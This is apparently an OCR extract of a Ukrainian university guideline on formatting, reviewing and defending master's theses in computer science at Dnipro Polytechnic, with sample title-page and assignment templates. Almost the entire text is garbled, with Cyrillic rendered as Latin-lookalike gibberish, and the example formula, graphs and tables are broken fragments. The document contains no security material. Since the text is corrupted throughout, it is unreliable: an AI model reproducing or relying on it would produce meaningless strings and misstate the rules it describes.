HOpMaTuBH, 1HGoOpMaIlliiiHi pecypcu Internet Ta iH. CIMCOK BUKOPUCTAHUX JDKEPEI

MPEACTABIAETbCS MOBOIO OpHUTiHANY y aidaBiTHOMY MNOpSAKY abo y MOPSIKY
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3ragyBaHHS JpKepena y KBamidikariiiHii poOoti. biGmiorpadiunuii onmc CHucky
BUKOPHCTaHUX  Jokepen  odopmimtoeThess Ha  ocHoBl  «JACTY  7.1:2006.
bibmiorpadiunuit 3amuc. bibmiorpadiunuii ommc. 3aranbHi BHUMOTH Ta MpaBHIIa
CKJIaIaHHsD).

QIAaTKM T[IOBMHHI MICTUTH JONOMDKHI Martepianu: TaOauIl, PUCYHKH,
pe3yJbTaTH MPOMDKHHMX PO3paxyHKIB, BHUXIJHI TEKCTH Mporpam, uIrocTparii
JIOTIOMI)KHOTO XapaKTepy, KOIii JOKYMEHTIB TOIIIO.

JonaTku HEOOX1THO PO3MIIIATH B MOPAJIKY 31HCHEHHS IOCUJIaHb HA HUX Y TEKCTI
MOSICHIOBAJIbHOI ~ 3amuCKu  KBamidikaiiiHoi pobotu. Jlomatku  HyMeEpyrOTh
MPONMUCHUMH JIITEpaMU YKPAiHCBKOTO andaBiTy B MpPaBOMy BEPXHbOMY KYTI,
Harnpukiaz, «JlogaTtok A».

Tabnuii, ManoHKH 1 (GOpMyJu, po3MILIEH] B AOJATKAX, HYMEPYIOTh HACTYITHUM
YUHOM:

— TabnuIll — y MpaBoOMYy BEpXHbOMY KYTi BKa3yloTh «Ta0muus A.l» — tabnuis
1 nonatka A;

—  MAaJIOHKH — TI0 LIEHTPY, MiJ MaTtoHKOM «Puc. A.1»;

— (dopmynu — BIAMOBITHO «(A.1)».

2. Bumoru 10 opopMiieHHSI MOSICHIOBAJIBHOI 3alIUCKHU
2.1. 3arajbHi N0JI0KeHHS

OdopMiieHHS MOSCHIOBAIBHOT 3alMCKA MaricTepchkoi poOOTH Mae BIAMOBIIATH
3arajJbHUM BHMOTaM J0 HayKOBUX POOIT 3rigHO 3 jaepxaBHuM ctannaptom JICTY
3008-2015 «oxymenTartisi. 3BiTH y cdepl Hayku Ta TexHiKU. CTpyKTypa 1 mpaBuiia
o(OpMIICHHS.

Texker xBamiikamifHoi podoTH 0QOPMIIIETHCS HA KOMM'IOTEPl Y TEKCTOBOMY
penakTopi Microsoft Word, Ha nmucrax ¢popmaty A4 (210x297 mMM) 3 MIKPAIKOBUM
iHTepBasioM 1,5 mit.

BcTaHOBIIOIOTECSA HACTYIHI MOJSI CTOPIHOK: 37iBa — 25 MM, copaBa —15 MM,
3Bepxy Ta 3HU3Y — 20 MM.

Jlns Habopy TEKCTy BUKOPUCTOBYEThCs mmpudt Times New Roman, posmip —
14 nr. Illlpudr moBuHeH OYTH YITKHM, KOJIp — YOPHUHU, UIIIBHICTH TEKCTY —
OJTHAKOBOIO.

VY TekcTi poOOTH MOBUHHI OYTH YITKO BUAUICHI ab3amu — 15 Mmm.

TexcT OCHOBHOI YacCTHMHHM MAaricTepchkoi poOOTH TMOAUISIOTH Ha PO3LITH
Ta miapo3aiau. KoxXHUH po31ia MOYMHAOTE 3 HOBOI CTOPIHKH.

3aronoBku cTpyKTypHHX 9acTuH poboTu: «PEOEPATY, « 3MICT», «ITEPEJIIK
YMOBHHUX I[IO3HAYEHb», «BCTVYII», «PO311JI», «kBUCHOBKI», «CITMCOK
BUKOPUCTAHUX IKEPEJI», « IOAATKW» npyKytoTh IPONUCHUMHU JITEPAMH 10
IIEHTPY CTOPIHKH.

Bigcranp Mk 3arojloBKOM po3aiury Ta migpo3auty — 1 psmok. 3aroioBku
HiAPO3AUTIB IPYKYIOTh 3 ab3arHoro BiAcTymy. Kpamky HampukiHIl 3arojloBKa He
CTaBJIATh. SIKIO 3aroJIOBOK CKJIANAETHCS 3 IBOX YW OUIBIIIE peueHb, iX PO3IUISIOTH
Kpamkolo. 3aroioBKM MYHKTIB JPYKYIOTh MaJ€HbKMMH JIT€paMH, KpiM MepIiioi
IIPOIIUCHOLI.

HymMmepariiro CTOpiHOK, pO3IAUIIB, MiAPO3ILIIB, JOJAATKIB, PUCYHKIB, TaOJIUIlb
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MOJIal0Th apaOChKUMU LU pamu 0e3 3HaKY «Noy.

Hywmepartisi cTOpiHOK MOBUHHA OYTH HACKPI3HOIO Ta MPOCTABISATUCS apaOChKUMU
nrdpamu y mpaBoMy BepXHbOMY KyTi apkyiia. Po3mip mpudty Hymeparii — 12 nr.

Homep posainy craBmsare micas cioBa «PO3/I1JI», micis HoMmepa Kpamky He
CTaBJIATh. 3aroJIOBOK PO3AUTY APYKYIOTh 3 HOBOTO psijiKa MO LIEHTPY MPOMUCHUMU
mitepamu. KosxHuI po3a11 MOYWHAIOTh 3 HOBO1 CTOPIHKH.

[Timpo3ainu 3BITY HYMEpPYIOTh Y MeXKax OJIHOro po3ainy. Homep miaposniry
CKJIaJIa€ThCSl 3 HOMEpa PO3AUTY 1 TMOPSIKOBOTO HOMEpa MIAPO3ILTy, MDK SKHUMHU
CTaBJIATh Kpanky, Hampukian, "1.1." gm "2.1.". Hampukinui HOMEpa Miapo3aiTy
CTaBUTHCA Kparka.

[lepuioro cTopiHKOIO POOOTH € TUTYJIBHUN apKylll, KU BXOJUTH A0 3arajbHOl
HyMmepallii cTopiHOK. Hymepaliisi CTOpIHOK IPOCTaBISAETHCA, IOYMHAIOUN 31 CTOPIHKA
«3ABJIAHHSI» Ta 3akiHUyeThCS OCTAHHBOIO CTOPIHKOI POOOTH.

3MiCT Mae BIANMOBIIATU TIaHy poOoTr. Ha cTopiHii 31 3MICTOM HaBIOPOTU KOXKHOT
CKJIaI0BOI POOOTH, MPOCTABIAIOTHCSI HOMEPU CTOPIHOK, SIKI BKa3ylOTh HaIOYaTOK
BUKJIAJICHHS MaTepialy.

Ha tutynbHOMY JMCTI MOBUHHI OyTH MHIJIUC aBTOpa Ta KEPIBHHUKIB MPOEKTY
O3B, IO 3aCBIAYYE JOMYCK POOOTH JI0 3aXUCTY.

3100yBay nepes 3aXMCTOM MOBHICTIO 30Mpae poOOTy BIJAMOBIIHO 0 CTPYKTYpHU
Ta 3MIMBA€ il pa3oM 13 OMyOJIKOBAaHMMH CTaTTAMHM Ta Te3aMH KOH(epeHii (3a
HasIBHOCTI).

2.2. OdopmiieHHs: MaTeMATUHYHUX hopmy.Ja

[Tpu odopmienHi MmaTeMaTHIHUX POPMYIT HEOX1THO JOTPUMYBATHUCS HACTYITHOTO
cTiimto: rapuirypa mpudty — Times New Roman (Cyr) 14 nr, mpudr
— 3BUYaitHui, BiicTyn — 0,5 cM, piBHSIHHS — 110 LIGHTPY, TAOYJISLIs — 10 PaBOMY Kparo.

Hns Habopy dhopmys BUKOPUCTOBYBaTH penakTop ¢opmyn Microsoft Equation
3.0, 3amaBIy HACTYITHI TApaMeTPH: BEJIMKI, MaJli TPEIbKi JIITEPH Ta CAMBOJIH — PUPT
Symbol, iamri — Times New Roman Cyr. Po3mipu: 3Buuaitanii — 14 pt,kpynHui iHISKC
— 8 pt, np16HU 1HAEKC — 7 pt, KpynHUIA cuMBoJ — 18 pt, aApiOHuii cumBoi — 14 pt.

[Ipu BukopuctanHi ¢opmya HEOOXITHO JOTPUMYBATHUCA TEBHUX TEXHIKO-

opdorpadiuanx npaBui. BcepenuHi TEKCTy AOMYCKA€TbCS MUCATH HECKIaaHI abo
nornoMixkHi popmynu. OCHOBHI (POpMYIIH PO3MIITYIOTH OKPEMHUM PSITKOM.

JInst exkoHOMIT Miclsl KIJIbKa KOPOTKUX OJHOTUITHMX (POPMYII, BIAOKPEMIIEHUX
BiJl TEKCTY, MOKHA TIOJJaTH B OJHOMY PSIKY.

SIK1110 piBHSHHS HE BMIITYETHCS B OJIUH PSAIOK, HOTO CJIiJ] MEPEHECTH IMiCIIsl 3HAKa
piBHOCTI (=) 200 micis 3HakiB 1wmoc (+), MiHyc (—), MHOXeHHsS (X) 1 aimeHHs (:).
HymepyBatu cnif numie Ti popMyiiu, Ha sIK1 € TOCUJIaHHS Y HACTYITHOMY TEKCTI, 1HII
HYMEpYBaTH HE PEKOMEHY€ThCS.

dopmynn HyMEpYIOTb y MeskKax po3niny. Homep dopmynu 3amaerscs
apaOChKUMHU HI/IquaMI/I 1 CKJIaa€ThCsl 3 HOMEpa PO3ILTY Ta MOPSAKOBOIO HOMEpa
dbopMynu B pO3/ILiIi, BIIOKPEMIIEHUX KPAIKOIO.

Homep ¢opmynu 3a3HadaroTh Ha piBHI (QOpMyIu y KpPyINIMX JIyXKKax, Yy
KpailHbOMY IIPaBOBOMY MOJIOXeHHI, Hampukiaa, (2.1) (mepma ¢opmysia apyroro
posnuty). Homep, sikuii He BMIIIYEThCS Y PSIAKY 3 (GOPMYIJIOH, NMEPEHOCUTHCS Yy
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HACTYIHUH pAAOK — Hibkue Gopmynu. Homep dhopmynu npu ii nepeHeceHH1 BMILTYIOTh
Ha PIBHI OCTaHHBOTO psijka. Ko GopMmyna 3HAXOAUTHCSA y pamili, TO HOMEp TaKoi
dbopMyIM 3aMKCYIOTh 13 30BHINIHBOI CTOPOHH PaMKH 3 TPABOTO OOKY HABIPOTH
OCHOBHOTO psifika GopMyJIH.

[Tocumanns Ha GHOpMYITH HAAAIOTH MOPSIAKOBUM HOMEPOM cbopMme B Ty)KKax,
HampuKIag: «... y ¢dopmymi (2.1)». IloscHeHHS 3HAY€Hb CHMBOJIB 1 YHCJIOBHX
KoedilieHTiB GopMyIu HABOAATH I HEIO B TiM MOCIIIOBHOCTI, B SIKiii BOHH IOJaH1
y QopMyii. 3HaYeHHSI KOKHOTO CHMBOJIY Ta YMCJIOBOTO KOE(III€HTA 3alMUCYIOTh 3
HOBOT'O psiJiKa, TOYMHAKOYH 31 CJIOBA «JIe» 0e3 ab3aIly 1 TBOKPAIKH.

KosxHa ¢opmyria BiJIOKpEMITFOETHCS BiJl TEKCTY OJIHUM BUIBHHUM PSIJIKOM.

Lpuxnao:
TCk(Vi)ZZ:lTCj(Xi,Vj), (2.4)

ne
T (Vi) — CEMaHTUYHA 3HAYYIIICTh JJI1 KOXKHOTO HAabOpy V; ;

T j(xi,vj) — CEMaHTMYHa 3HAYyIliCTh €JIEMEHTa Xj B KOHTEKCTI Habopy

eJIEMEHTIB V j-

2.3. Odopmienns rpadiunnx matepianis

['padpiunumu matepianamu € cxemu, rpadiku, aiarpamu, ricrorpamu Ttoio. Jlaxi
UTIOCTPATUBHI MaTepiajii TO3HAYa0Th CIIOBOM «PHC.» Ta HyMEpyIOTh MOCIIIOBHO B
Mexax po3aiury. Homep, Ha3By pucyHka ab0 MOSICHIOBIBHHUM MiJIMUC PO3MIMIYIOTh
MOCJIIIOBHO, BIJIOKPEMJIIOIOUM Kparkorw, Hampukian: Puc. 2.1. (mepummit pucyHOK
JIPYroro pos3fiiay), 3a BUHATKOM PHCYHKIB, MOJIaHUX Yy Jojaatkax. Iligmuc pucyHka
PO3MIITYIOTh TIO IIEHTPY, MiJ PUCYHKOM, Kpanka B KiHIII HE CTaBUTbCs. PUCYHOK Ta
HOT0o MIANMUC TMOBWMHHI OyTH pO3MIIIEHI Ha OJHINA CTOpiHIl. PUCYHKHM HEOOXiTHO
HABOJIUTU OE3MOCEePEIHBO MICHS TEKCTY, € BOHM 3TajiaHi Brepiie, abo Ha HACTYIHIN
CTOpIHIII.

Ha Bci HaBeleHI pUCYHKHM B TEKCTI poOOTH MOBUHHI OyTH TOCHIJIaHHS abo B
nyxkkax (puc. 2.1), abo Mo KOHTEKCTY, HalPUKIIAJ, «... K MOKa3aHO Ha puUc. 2.2)».
JlomyckaeThcsi BEpTUKAIbHE PO3MIIICHHS PHUCYHKIB 3a TOJIMHHHKOBOIO CTPIIKOIO.
Pucynox, posmip sikoro Oimbimuii ¢opmary A4, peKOMEHAYETHCS PO3MIIIYBATH Y
J0/TaTKaxX.
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Ilpuxnao:
— o(hOopMIICHHS UTFOCTpAITii:

Josrimue
cepeopume

Xy

——
5
X, .\.2

Y=AX, Z, 1

]‘.

Puc. 2.1. I'padiuHe npeacTaBieHHs] MAaTEMaTUYHOI MOJIET
niarnoctuku pobotr TOK ta SCADA

— odopmiieHHs rpadika:

2500
2250
2000
1750
1500
1250
1000
750
500
250
0

L~

I'padpik xinbkocTi cranis KII
TOK st IOBHOTO TA
JOIYCTHMOro HaGopy KomOinaniii

/

>

1 2 3
——Ak| 3 9 27
——Af2 3 6 14

Kimbkicts cranis KI1 TOK
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53

729
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2187

90

Pisui icpapxii SCADA cucremn

182

Puc. 2.2. I'padiku nunamiku 3miHu KiabKocTi ctaHiB KIT TOK

2.4. OopmieHHs TAOIUID

[udposuii maTepiai, sk IpaBuiIo, OQOPMIIIOIOTh Yy BUTIISAL TaOIUIb. TaOnuito
CJI1J1 pO3TAIIOBYBATH 0€3M0CEPEHBO MICIS TEKCTY, Y SIKOMY BOHA 3TaJly€ThCs BIEPILIE,
abo0 Ha HactynHid cropiHul. Ilpu mnepeHoci TaOauUl Ha HACTYNHY CTOPIHKY
TEMaTUYHUH 3aroJIOBOK HE MOBTOPIOIOTH, a MUIIYTh «/Ipodosxcenns mabauyi 1.1» Ta
MOBTOPIOIOTH HyMEPAllil0 Ha HACTYIIHIM CTOPIHII.
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Tpuxnao ohopmaenns mabauyi iz nPOOOBHCEHHAM.:

Tabmums 1.1
Ta6auusa napamerpiB 00'eKkTHO-KJIacupikaniiiHOI Mol TIarHOCTUKHU
pobooru SCADA cucremn
No [Tapamerp Omnuc No
n/m MOJIel dop-
MYJIH

1 2 3 4

1 p [Tporec (Moaymnb mporpaMu, IO BHUKOHYEThCS Ha | 2.1
cUCTeMOyTBOpIotouoMy By3mi B ckiaai 113 AIIK
SCADA cuctemn)

2 P Mmuoxuna Bcix mpouecie (II3 AIIK SCADA | 2.1
CUCTEMHU)

3 n(P) Kinekicts mporiecis [13 ATIK SCADA 2.1

IIpooosocenna mabauyi 1.1

1 2 3 4

4 oP MHoOXW1Ha BCiX MIAMHOXKHUH TpolieciB B ckiami [13 | 2.12
AITIK SCADA cuctemu

5 P, Jlesika OBiTbHA TAMHOKHHA TIpoIieciB B ckiami | 2.12
[13 ATIK SCADA cuctemu

6 k KonTposbaa Touka nporiecy (KTII) 2.2

7 K MHOXXHHa KOHTPOJIBHUX TOYOK MTPOIIECIB 2.2

Ha Bci Tabnuui MaroTh OyTH mOCHIIaHHA B TeKCTI. [Ipu boMy 1o TEKCTY CIIOBO
«TabNUIs THUIIYTh CKOPOYEHO, HANPUKIAA: «...y Taom. 2.1». YV mnoBTOpHUX
MOCUJIAHHAX Ha TaONUIll Ta UIIOCTpallii CKOPOYEHO THUIIYTh CJIOBO <«JIUBUCHY,
HaAIPUKIIAA: «IUB. Ta0I. 2.1».

KoxxHa Ttabnuisi mMae po3MIIIEHUM HaJ HEI TEeMaTUYHUN 3arojoBOK, SKUN
BUPIBHSIHUM 110 IICHTPY 1 HABEICHUM >KUPHUM TpudToM. Skimo 1udposi uu iHIII 1aH1
B JICIKOMY PSIIKY TaOJUIll BIJICYTHI, Y HbOMY CTaBJISITh Mpodepku. [{udpu B komipkax
Ta0JIMII BAPTO MPOCTABIATH TAK, 100 BIAMNOBIIHI PO3PSIIA YUCENl Y BCbOMY CTOBITUUKY
OyJu po3TallioBaHi OJUH 1]l OJHUM.

KoxHy Tabnuio BapTo CynpoBOIKYBATH KOPOTKMUM aHATI30M YA KOMEHTAPEM.

3. Ilopsiiok MiATOTOBKM Ta 3aXUCT KBaJdidikaniiinoi podoTn
3.1. MigroroBka kBajgiikaniiiHoi pod0TH 10 3aXHUCTY

Jo 3axucty kBami(ikaiiHOi pOOOTH JOMYCKAIOThCA CTYAEHTH, SIKI YCIIIIHO Ta
B IIOBHOMY 00CsI31 BUKOHAJIM HaBYaJIbHUM IUIAH.

KBamidikariiina poOoTa mNOMA€ThCS KEPIBHUKY MAJIsi TEPEBIPKU y TEPMiHH,
BU3HAUEH1 y 3aBJaHHI Ha ii BukoHaHH:. KepiBHUK Hajgae BIATYK Ha poOOTY, B IKOMY
BU3HAUYAIOTHCA:  aKTYaJbHICTh  JOCHIIPKEHHS;  €(QEeKTUBHICTb  BUKOPHCTAHOI
METO/I0JIOT1; piIBE€Hb 3aCTOCYBaHHS 3/100yTUX Y MPOIIeCi HABYAHHS TEOPETUYHHUX 3HAHD
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Ta MiATOTOBKH /10 BUKOHAHHS HAYKOBUX JOCIIIXKEHb; BMIHHS CAMOCTIMHO BUPIIITYBAaTH
HAyKOBI Ta WPaKTH4YHI 3ajadi; BMIHHS JIOTIYHO, TOCTiOBHO, apryMEHTOBAHO
BUKJIAQJaTH Matepial 1 pOOUTH BUCHOBKH; TMEPCIEKTHBHICTh 3aMpPOMOHOBAHUX
pEeKOMEHaIliif Ta BUCHOBKIB; HEOIIKA POOOTH (32 HASIBHOCTI).

KBamikamiitna po6oTta 000B’S3KOBO TOBHHHA MaTH PEIEH31I0 30BHINIHBOTO
peuieH3eHTa. PerieH3eHTaMu MOXyTh OyTH (haxiBIlI-MPAKTUKH, HAYKOBIIl, BUKJIadadi
3aKJIa/1B BUIIIOT OCBITH TOIIIO.

[1ix yac pereH3yBaHHs poOOTH PEKOMEHIYETHCSI BU3HAYATU HACTYITHE:

—  aKTyaJIbHICTh pOOOTH;

—  BUKOPHCTAHHS METOIB JOCIIHKCHHS:

— 0OIpyHTOBaHICTh BUCHOBKIB 1 TPOIO3UIIiH;

— yvactb 3700yBaya y TMPOBEACHUX [JOCHIJKEHHSAX, TEOPETUYHIN Ta
aHAJIITUYHIN 00poOLIl OTPUMAHUX PE3YNbTaTIB, (POPMYIIFOBAHHI HAYKOBUX MOJIOKEHbD,
171€1, METOTUKU;

— BMIHHS YITKO, FPAaMOTHO, apTyMEHTOBAHO BUKJIaIaTH MaTepia;

—  SAKICTb OOPMIICHHS MaTepiay;

—  HEJIOJIIKH II0JI0 3MICTOBOT YaCTUHU POOOTH Ta O(OPMIICHHS.

Penensisg HamaeThCs MMCHMOBO 1 IIOBUHHA MICTUTH 3arajbHUN BHCHOBOK IIIOJO
peKOMeHAaIld 0 3axucTy (PEKOMEHJO0BaHO ab0 HE PEKOMEHJO0BAaHO) TMepe.
ex3aMeHarliiinoro komiciero (EK).

KBanigikariitna pobota 000B’I3K0BO TOBUHHA MATH JIOBIJIKY L1010 EPEBIPKH Ha
HasBHICTh aKaJIEMIYHOTO TUIariary.

3.2. 3axuct kBajidikauiiiHoi podoTn

3axucT KBamidikaiiHoi poOOTH € BIANOBIJAIBHUM €TarlOM CTAHOBJICHHS
(daxiBIs 3 1HXKEHEpil mporpaMHoro 3abdesrneueHHs. CTyJIEHT 3aXHuIae CBOK poOOTY,
cBOI norJisiau, iaei nepen EK, sika ckitagaeTbest 3 BUCOKOKBaIi(h1KOBAaHUX CIEHIAIICTIB.
['padik 3axucTy kBamdikamiitHuX poOIT po3poOIIA€ThCA 1 3aTBEPIKYETHCS B JICKAHATI.
3MiHy BCTAaHOBJICHUX TEPMIHIB 3aXHUCTy KBamiQiKaiiitHoi poOOTH TOMyCKAIOTh TUTBKH
3 103BOJTy jJiekaHa Ta royioBu EK y Bumanky npej’ siBJeHHS MOTUBOBAHOTO KJIOMIOTaHHS,
MiITPUMAHOTO KEPIBHUKOM 13aBilyBaueM Kadeapu.

o EK mpu 3axucTi kBamidikaiiitnoi pobotu 3100yBaueM T0JaI0ThCS HACTYITHI
JIOKyMEHTH, 0(pOpMIIeH]1 3T HO BUMOT:

—  TIOSICHIOBaJIbHA 3aITHCKa;

—  MPOTOKOJ MEPEBIPKU pOoOOTH Ha TIariaT;

— TpEe3eHTaris, 0 MICTUTh LIIOCTpAIIii 10 JOTOBIIi;

— OJaHK OIIHIOBaHHS MaricTepcbkoi poOoTH;

— BiAryk kepiBauka podotu (Jomatok K);

— penensis (Homarok JI).

[Tix gac 3axucty 3100yBay:

—  YITKO IPEJCTaBIII€ TEMY, METY Ta 3aBJIaHHs POOOTH;

—  aKIIEHTY€ yBary Ha ii akTyaJIbHOCT1 Ta HOBU3HY 3allpOTIOHOBAHUX PIllIEHb;

—  (opMyIrOE TOCTAaHOBKY 3a71a4i;

—  TIOSICHIOE CYTh BUKOPHUCTAaHUX METOJIB PO3B’S3YBaHHS TOCTABIICHOI 3a/adi
Ta OOTPYHTOBYE iX BUOIp;
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—  MPEACTABIISIE 1 MOSICHIOE PO3POOJICHUI aNTOPUTM;

— OOrpyHTOBY€E BUKOPHCTaHHS MPOrPaMHHUX 3aC001B;

— BHU3HAYa€ KOPHUCTYBAdiB MPOTPAMHOI CHCTEMH, PiBE€Hb JOCTYMy 1 (YHKIIT
CUCTEMHU, Ha/IaH1 KO)KHOMY KOPHCTYBady;

— OmHMCy€ BXIOHY Ta BHXIIHY I1HQOpMAIIO i KOXXHOTO 3aBJaHHS,
peanizoBaHOTO B CUCTEMI;

— JIEMOHCTPY€E Ta TIOACHIOE KIIIOUOBI (parMeHTH Aoy CHCTEMH 3
KOPHUCTYBAaueM 1 PE3yJIbTaTH PO3B’A3aHHS BCIX ITOCTABJICHUX 3aBJ/IaHb;

—  ($OopMyIIIO€ BUCHOBKY PO BUKOHAHY pOOOTY.

JlonoBib Ha 3axWCTi HEe MOBWMHHA TepeBunyBatu 10 xBuimH. Ilicis momoimi
3m00yBay J1ae BUUEPITHI BiAMOBIAI Ha nutaHHsA EK, oOrpyHTOBaHO Ta HamoJIETJIUBO
BIJICTOIO€ CBOIO TOUKY 30pYy. [IpoTSIroM ychoro 3axucTy BeIeTbCs MPOTOKOJI3ACiAaHHs
EK, y skomy ¢ikcyroTbcsi BUCHOBKHM wieHIB EK mpo HOBH3HY pe3ynbTariB Ta ix
MIPaKTUYHE BIIPOBA/KCHHSI.

[IpoTokon mignucytoTh rojgoBa Ta uieHu EK, sxi Opanu ydacth y 3acijiaHHi.
Knaura npoTokosiB 30epira€ThCs y BCTAHOBJICHOMY MOpSAKy. PesynbTaTé 3axucrty
KBaJTi(iKaiitHuX poOIT BU3HAYAIOTHCS OIIHKAMH «BIIMIHHO» (32 MDKHApPOJHUMHU
crangaptamu 90-100), «modpe» (74-89), «3anoBinbHO» (60—73) Ta «HE3aI0BUIHLHO
(0-59) Ta orojomIyrOTHCS TOTO X JHS Micis opopMIICHHS MPOTOKOIIB 3aciganus EK.
[Ticns 3akinuenus podotu EK ronosa cknanae 3BIT Ta mojae Moro 10 HaBYaJIbHOTO
BIIITYy. Y 3BITI aHANI3YIOThCS: AaKTYyaJIbHICTh TEMAaTHKH, SIKICTb BHKOHAHHS
KBaMipiKaIiitHUX poOiT, YMIHHS BUITYCKHHMKIB 3aCTOCOBYBATH 3HAHHS MPU BUPIIICHHI
BUPOOHUYUX TMPOOJEMHUX CUTYaIlil, HEJOJNIKH B MIArOTOBIl, PEKOMEHJAIli 1100
BJIOCKOHAJICHHS] HABYAJILHOTO mpoiiecy. 3BiTH roiiiB EK o0roBoproroTecs Ha 3aciaHH1
HAayKOBO-METOJIMYHOI ~ KOMICli  3a  chemiajapHICTIO.  Pe3ymbratm  arectarrii
pO3IIIA1al0Thes Ha 3aciganHl BueHoi pagu HTY «/[HinpoBchka momiTEXHIKaY.
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CIIMCOK BUKOPUCTAHMUX JIKEPEJI

1. CranmapTy BUIIOi OCBITH YKpaiHM ApPyroro (MariCTepchbKoro) piBHSA
rany3i 3HaHb 12 [adopmariitai TexHosorii, cremianbHicTh 122 Komm’ioTepHi HayKu
(maka3 MOH Vkpainun Big 28.04.2022 p. Ne 393) https://mon.gov.ua/npa/pro-
zatverdzhennya-standartu-vishoyi-osviti-zi-specialnosti-122-kompyuterni-nauki-dlya-
drugogo-magisterskogo-rivnya-vishoyi-osviti.

2. [TonoxxeHHs PO opraHizailio arectarii 3100yBauiB Buioi ocBith HTY
«/IninpoBceka nonitexHikay / M-Bo ocBiTH 1 Hayku Ykpainu, Ham. texn. yH-T. — 1.
HTY «iI1», 2018. — 40 c.

3. [TonoxenHss mpo cucremy 3anmo0iraHHs Ta BUSIBICHHS IUIariaTy B
HamionanbHOMY ~ TEXHIYHOMY  YHIBEpCHTETI  «/[HIIpOBChKA  MOJITEXHIKA»
https://bit.ly/3S1Dwws.

4. JCTY 3008-2015. Indopmarnisa Ta foKyMeHTawis. 3BITH y cdepl HayKH i
texHiku. CTpykTypa 1 npaBuia opopmienns. Kuis: 11 « YkpHAHL», 2016. 26 c.

S. Hepxapuuit crangapt Ykpainu. JJCTY 8302:2015 “Iudopmaris Ta
nokymeHTaris. bibmorpadiune nocunanus. 3arajibHi BUMOTH Ta MpaBUiia CKJIaIaHHs
URL: https://msu.edu.ua/library/wp-content/uploads/2019/02/pryklady- oformlennja-
bibliohrafichnoho-opysu-zhidno-dstu-8302.pdf

6. Crangaptu 3 iHdopmaiii, 6i6mi0oTeuHoi 1 BugaBHu4oi crpaBu. URL:
http://wwvv.library.univ.kiev.ua/ukr/about/dstu.html

1. JACTY ISO 5807:2016 O6poOGasuus iHpopmaliii. CuMBOIM Ta yrogau
MIOJI0 JTOKyMEHTallli CTOCOBHO MaHWX, MPOTpaM Ta CHCTEMHHUX OJOK-CXEM, CXeM
MepeXeBUX Mporpam Ta cxem cucteMHux pecypceis (ISO 5807:1985, IDT).
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JoxaTok A

Ipuxaan opopmiaeHHS TUTYJBbHOTO0 APKYyIIA PpO00TH
JJIS CTIEiAJIbHOCTI

122 — Komrr 'toTepHi HayKu
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MiHicTepcTBO OCBiTH | HAYKH YKpaiHu
HanionanbHuii TeXHiYHUH yHIBepcuTeT
«/IHinpoBcbKa mostiTexHika

IHCTI/ITYT CIICKTPOCHCPI€TUKHU
(iHCTHTYT)

®daxynpTeT 1IHPOPMALIMHUX TEXHOJIOT1H
(paxynbTer)

Ka(l)ez(pa [Iporpamuoro 3a0e3neyeHHsT KOMIT FOTEPHUX CHCTEM
(moBHa Ha3Ba)

HOACHIOBAJIBHA 3AIIUCKA
KBaJi(ikaniiiHoi pod0TH CTyNEeHsI

mazicmpa
(Ha3Ba OCBITHBO-KBai(iKaliitHOTO PiBHS)

CTYAEHTA leanosa leana leanosuua
(T1IB)
aKaJeMivyHOI rpynu 122m-21-1
(umdp)
cneniaTbHOCTI 122 Komn romepni nayku

(xon 1 Ha3Ba CIIEiaJIbHOCTI)

OCBITHBOI IPOrpaMHu «Komn romepui naykuy

(Ha3Ba OCBITHBOI IPOTPaMH)

Ha TeMy:  Po3pobka ma docnioscenus inpopmayitinoi cucmemu 0151 NiOGUUJEHHS
AKocmi 06pobKU C1AOOKOHMPACTIHUX 300PANCEHb ULTAXOM 3ACMOC)Y 8AHHSL
Memooié MeMamuyHo20 Ce2MeHmMY8aHH s

leanoes lean leanosuu

Oninka 3a mKaJjon
KepiBHukn HpisBuine, ininiaan peiiTunrosoro | iHcruryuiiinoro| Iligmuc

PO3LIiB
kBasiikariitHol
poboTtu

crneniaJbHUM

| Penensent | | | |

[Hopmokoutpoaep | IIpogh. Jlaxmionos I.C. | | ]

JHinpo
2022
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Jlogatok b

IHpuxiaan opopmiieHHA 3aBJaAHHA
Ha KBaJidikauiiHy podory
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MiHicTepcTBO OCBIiTH i HAYKH YKpaiHUu
HaunionagabHui TeXHiYHUA YHiBepCcUTET
«/IHinpoBcbKa mosiTexHika»

3ATBEPKEHO:
3aBigyBau kadeapu
[IporpaMHoro 3a0e3neueHHs: KOMI IOTEPHUX CUCTEM

(oBHa Ha3Ba)

0)[0)
(riammc) (Tpi3BHIIE, IHIITIATN)
« » _ 20 _22 Poky

3ABJIAHHA

HA BUKOHAHHS KBaJidikaniiinoi po6oru

cneniajJbHOCTI 122 Komn tomepHi nayku

(k00 i Ha36a cneyianrbHOCmi)

CTY/JAEHTYy 122m-21-1 leanosy lsany leoposuuy
(rpyma) (mpi3BuIIE Ta iHIIIATH)

Tema kBasigikauiiiHol podoTH

1 MIACTABUA JIsI TPOBEJAEHHSA POBOTH
Haka3s pexropa HTY «/lainpoBcekka nomitexuika» Big 20.10.2022 p. Ne 2127 -n
2 META TA BUXIJHI JAHI J1Jis1 MTIPOBEJIEHHSA POBIT

O0’€exT HOCTiTKEHD —
Ipeamer gocJixxeHb —
Meta podoTu —
3 OUIKYBAHI HAYKOBI PE3YJIbTATH

HoBu3na 3anponoHoBaHuX pillleHb BU3HAYAETHCS THM, 1110
IIpakTryHa HiHHICTH pe3yJbTaTIB MOJATAE Y TOMY, L0

4 BUMOI'M 10 PE3YJIbTATIB BUKOHAHHSA POBOTHU

B pe3ynbrati poboTH nMoBUHEH OyTH pO3pOOJIECHUI MPOrpaMHUIl KOMITIEKC IS
BUpIIICHHS 33124l
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5 ETAIIM BUKOHAHHS POBIT

Crtpoku
. . . BHKOHAHHS PoO0iT
HajimenyBaHnHs eTamiB poo0iT
(moyarok —
KiHelb
Etan 1 (onuc etamny) 12.09.2022-30.09.2022
Etan 2 (onuc erarry) 01.10.2022-31.10.2022
Etan 3 (ommuc etamny) 01.11.2022-01.12.2022
6 JOJATKOBI BUMOI'
3aBaaHHs BUIAaB IIpizeuwe L.
(Trigrmmc) (npizBuIIe, iHIIiaTNT)
3aB/IaHHS IPUKHSB 1O BUKOHAHHS Isanos I.1.
(mianmc) (mpizBuie, iHiIiamm)

Jlata Bugaui 3aganns:_12.09.2022 p.

Tepwmin nonanns kBamidikamiitnoi podotu mo EK _ 10.12.2022
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Jlonatok B

Hpuxkiaan opopmienns pedepary
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PE®EPAT

IMosicHoBasbHa 3anmcka: 93 crop., 46 puc., 9 Tabmuup, 3 momatka, 35
JOKeped.

O0'exT AOCTIMMKEHHS: MPOLEC TEMATUYHOTO CErMEHTYBAHHS 300pa’KE€Hb

